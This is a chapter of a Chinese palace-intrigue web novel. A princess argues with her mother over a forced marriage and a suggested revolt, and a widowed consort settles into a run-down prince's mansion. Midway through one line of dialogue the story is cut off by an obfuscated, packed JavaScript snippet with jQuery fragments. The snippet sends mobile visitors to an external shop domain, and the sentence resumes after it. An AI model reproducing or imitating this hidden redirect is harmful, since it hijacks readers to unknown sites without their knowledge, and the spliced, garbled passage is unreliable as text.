相比于高嫣不停的哭泣与恳求,身为事件中心的高素倒显得淡定极了,自打得知自己将要替高桢嫁去良国的消息之后,她行事如常,照例前往王宫中探望朱夫人,像是没有受到半点影响,坦然接受了这一切的结果。
“我可曾告诫过你,莫要再在你婚前生事,如今造成这般无可挽回的局面,你可曾后悔?”一身深紫色衣裙的朱夫人坐在一旁,看着刚进殿的高素问道,“你妹妹如今在陛下的书阁前哭诉,只恳求你可不嫁去良国,我拦不住她,也不想拦她,她从未受到过真正的惩罚,或许书阁外冰冷的青石板能教会她一些道理。”
“母亲,我从不后悔。”高素说着坐到了朱夫人的对面,同她一起等待着桌上煮着的茶水沸腾,“此事并非我后悔便不会发生,我既做了便会承担后果。书阁外的青石板母亲也曾跪过,跪过就算是悔过,可一切事情并没有发生半点改变,兄长还是被父皇遣去了林城,外公还是被调离原职,这一切的根本不在你我。”
“那在于何人?”朱夫人看着那救不散发出热气的茶炉说道,“在于我朱家声望过盛,我父亲门生太多,在于我儿高凌聪慧过人而那齐家的儿子天生蠢笨,素儿你告诉我,他们哪个犯下了不可挽回的错?”
“错在父皇。”高素嘴唇抖动,“错在父皇狭隘,以为这宫中人没有真心,凡争好之人便是意图争他的皇位,可就算兄长曾有这样的意图又如何,兄长只是想当太子,未曾想要弑父夺位。”
“妄言!”朱夫人压抑着声音同高素喊道,“这还是在宫中!”
“母亲,非我妄言,如今局面唯有一法可解。”
朱夫人看着高素的眼睛,像是已经知晓了高素接下来要说些什么,却不加阻拦,想要听高素将话说出,以验证自己心中所想。
“外公如今虽尚未官复原职,但仍有不少旧部愿意追随,母亲若是愿意修书一封送到林城,叫兄长策反在林城的守军,带兵杀回尹都,此局便可解。”高素艰难地同朱夫人说道。
“若是策反如你口中说的这般容易,那天下人只要拿起手中刀刃便可当皇帝。”朱夫人听后还是反驳道。
“这天下本就是天下人的。”高素接着说道,“天下人选贤举能是为了能有更好的日子过,而非让一人胡作非为,将贤臣左迁,将血肉当作棋子,将这天下变成满足他一人野心的工具!”
茶炉中煮着的茶水在此时沸腾,朱夫人将其取下,取来茶盏摆到二人面前,将滚烫的茶水斟入温热的茶盏。
“素儿,你并非真的如此做想。”朱夫人和声说道,“你身上戴着的一针一线都是天下人的心血所汇,你可曾想过没有了这公主的身份会过上怎样的日子。得了好处便要噤声,不能再说些冠冕堂皇的话来满足自己的私欲。”
“那我便该为天下人做想嫁去良国?”高素终是忍不住,流出了泪来,“母亲,没有这般的道理,军队收兵时也要凭个人意愿,父皇将我当作牺牲品时可曾问过我的意愿?我就是有私欲,若这点欲望只肖一点动作便能实现,我为何不去做?”
“你不是没有得到过后果。”朱夫人喝着手中的茶说道,“过往的那些小事你让嫣儿为你背锅,如今这般大的事情你让何人陪你一起承担后果?如今嫣儿还跪在书阁前求你的父皇收回成命,你还要再生事,牵扯上她陪你共赴地狱吗?”
高素紧紧握着自己面前的茶盏,眼泪一颗颗地落下。
“且不论你兄长在林城不知有多少眼睛盯着他想要寻他的错处,活着已是万幸,策反一事你莫要再提。”朱夫人不看高素,低声说道。
“母亲,我只是不甘。”高素抬眼看向虽平静饮茶,手腕却略有些抖动的朱夫人平静了语气说道,“那座我在寿宴上送给父皇的白玉雕,上面的字是我亲手耗了不知多少个日夜亲手所刻,除此之外,我的公主府中眼下还放着用左伯纸题好的字画等着这段风波过去献给父皇。我不知晓这王宫中旁人是如何做想,但我确是十足的真心,父皇那样精明的一个人又怎会看不到我的真心呢……他怎能……他怎能用轻飘飘的一句话就肆意的将我的人生改变。”
“母亲,我不悔,可我好生难过。”高素说着将自己眼角的泪擦去,“公主府里的那些字画便劳母亲之后帮我交给父皇罢,我去书阁,唤高嫣回来。”
高素说着用双手撑着矮桌起身,离开了殿宇,手拿茶盏的朱夫人见到高素离去,手中的茶盏终是跌落到地上,她将手支到额头前,闭着眼,眉头轻颤,独自感受着偌大宫殿之中的寂静。
肃亲王府比长孙雪想象中的要更清贫些,忽略王府中久未遣人打扫而落下的灰尘不提,王府中的几乎没有非必要的物件存在,各处也少见精巧的装饰,整体十分简单。
王府中的侍从也不剩几个,高恪死后,王府之中没了主心骨,侍者走的走散的散,留下的几个看着大门的侍者是被当初上面的命令拦住了去路,没能走成,只能在王府中留守,领着每月固定且微薄的月钱。
眼下王府来了穿戴华丽的新主人,这些侍者的心气被调了起来,想着不论如何先从长孙雪手上捞些油水,将自己的日子过好。
因而在王府中为长孙雪引路的那个姓靳的仆妇很是尽心尽责,不辞辛劳地领着长孙雪将王府的每一处都走了一遍,同长孙雪说了不少原先肃亲王府兴盛时的旧事。
“多谢靳娘子陪我走这一遭。”长孙雪笑着说道,随后顺手摘下了头上的一根银簪放到了那位姓靳的仆妇手中。
被长孙雪唤作靳娘子的人毫不客气地收下了长孙雪递来的银簪,换上了个更加真诚的笑容同长孙雪说道:“王妃真是客气了,奴名靳翠水,王妃想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803189|183930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎样叫便怎样叫,此后有什么事情只管唤奴便是。”
“王府百废待兴,最要紧的是要先将祠堂修缮好,这样夫君在地下才能安心。”长孙雪捂着心口说道。
“王妃说的极是。”靳翠水愣了片刻后急忙接话道,“只是如今王府已没了收支,奴自是愿意为王妃用尽这一身力气,可修缮祠堂这等大事并非是奴光卖力气便能做成的事,还需得银钱来点缀才行。”
“银钱的事你不必担忧,修缮祠堂的过程中若是有什么需要,只管写信给我身后的这位监侍。”长孙雪说着侧过身子,给靳翠水指了指身后那个领了命令将自己从王宫送到此处的冯监侍。
冯监侍闻言扯出个笑容来,看了眼身前的长孙雪又向比他笑得更加灿烂的靳翠水点了点头示意。
“好,奴记下了。”靳翠水笑着点头,“那奴遣王府中旁的侍者来打点王妃寝居的事,奴先退下与这位冯监侍商议修缮祠堂一事。”
靳翠水一边说一边走,话说完时便已走到了冯监侍身边,见长孙雪应允后,便忙不迭地拉着冯监侍离去,冯监侍没有拒绝的道理,他陪着长孙雪来此便是为了处理长孙雪刚到王府会生出的一些旁的事,可方才的银簪并没有落到他的手上,因而被靳翠水拉着离开时的脚步之中颇有几分不情愿。
靳娘子走了没一阵,那些来为长孙雪打点寝居的侍者便前来,这屋子在长孙雪来之前显然已被简单打扫过一遍,常用的器具上都没留下什么灰尘,眼下这些侍者前来为屋子添了些必要的物件,如新的被褥、枕头还有床帘。
这些侍者处理之余,长孙雪忽地在想,若是方才没有将那根银簪交到靳娘子的手上,这些物件是否得她自己去到王府中总理内务的地方去要。
此处的环境比之王宫虽差了些,但长孙雪对此并不在意,她打开寝居的窗子,窗外是已枯败一片的莲池,她都觉得格外有意趣,看了许久。
来到王府的一切事情都让长孙雪觉得十分顺心,除了并未在王府中并未见到沉风这一点让她有些不快,她只见到了跟在沉风后的林良。
林良带着赋凌司的白玉牌,一身利落的打扮,见到长孙雪时依旧有些手忙脚乱,不知该做些什么。
“沉风呢?”长孙雪向林良问道。
“赋凌司有新的任务需得老大去办,因而老大并未及时前来。”林良如实答道,“王妃寻老大可是有什么旁的事?老大走前曾吩咐我,王妃的要求都要尽量满足,所以王妃若是想要什么,只管同我说便是。”
“他被赋凌司派去做了什么,竟如此紧急?”
“这我并不知晓。”林良挠挠头说道,“王妃换个问题来问,我兴许便能答得上来。”
长孙雪看着床边的枯荷,缓缓向身后的林良继续问道:“关于沉风的事情,林郎君知晓多少?”